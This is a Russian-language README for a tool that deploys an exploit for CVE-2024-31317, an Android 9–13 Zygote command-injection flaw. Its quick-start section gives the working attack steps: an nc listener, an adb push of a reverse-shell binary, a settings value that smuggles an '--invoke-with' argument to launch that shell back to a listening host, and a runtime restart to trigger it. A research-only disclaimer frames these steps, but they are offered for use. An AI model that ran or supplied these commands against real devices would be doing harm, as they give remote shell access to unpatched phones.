CVE-2024-31317 Deployer

🔒 Заявление о безопасности

Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Использование этого инструмента для несанкционированного тестирования незаконно. Автор не несет ответственности за любое неправомерное использование или ущерб.

📋 Обзор

CVE-2024-31317 — это критическая уязвимость безопасности, затрагивающая устройства Android от версии 9 до 13. Она позволяет приложениям с разрешением WRITE_SECURE_SETTINGS выполнять код на уровне системы через внедрение команд.

Данный проект предоставляет подробный технический анализ уязвимости, доказательство концепции (PoC) и инструменты автоматического развертывания.

✨ Основные возможности

• 📱 Поддержка Android 9–13 (все версии)
• 🛠️ Скрипты автоматического развертывания
• 🔄 Обратное подключение (Reverse Shell)
• 📊 Подробная техническая документация
• 🎯 Модульная архитектура

🐛 Детали уязвимости

• CVE ID: CVE-2024-31317
• Тип: Внедрение команд (Command Injection)
• Уровень серьезности: Высокий (High)
• Оценка CVSS: 7.8
• Затронутый компонент: Процесс Zygote в Android
• Статус исправления: Исправлено в патче безопасности Android от июня 2024 г.

🎯 Область воздействия

Затронутые версии

• ✅ Android 9–13

Незатронутые версии

• ❌ Android 14+ (исправлено)
• ❌ Устройства с установленным патчем безопасности от июня 2024 г. или новее

📁 Структура проекта

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 Быстрый старт

1. Клонирование проекта

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Компиляция Payload

chmod +x compile.sh
./compile.sh

3. Развертывание

# Запуск слушателя
nc -lvnp 4444

# Отправка и выполнение
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# Внедрение payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# Запуск уязвимости
adb shell stop && adb shell start

📚 Документация

• Глубокий технический анализ
• Инструкция по использованию Payload
• Полное руководство

⚠️ Отказ от ответственности

Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Используя данный инструмент, вы соглашаетесь:

• Соблюдать все применимые законы и нормативные акты
• Использовать его только для законных исследований безопасности
• Нести полную ответственность за свои действия

📜 Лицензия

Проект распространяется по лицензии MIT. Подробнее см. в файле LICENSE.

👨‍💻 Автор

fcy10012 — GitHub

🙏 Благодарности

Проект-референс: WebLDix/CVE-2024-31317-PoC-Deployer

---

⭐ Если этот проект оказался для вас полезным, поставьте ему звезду!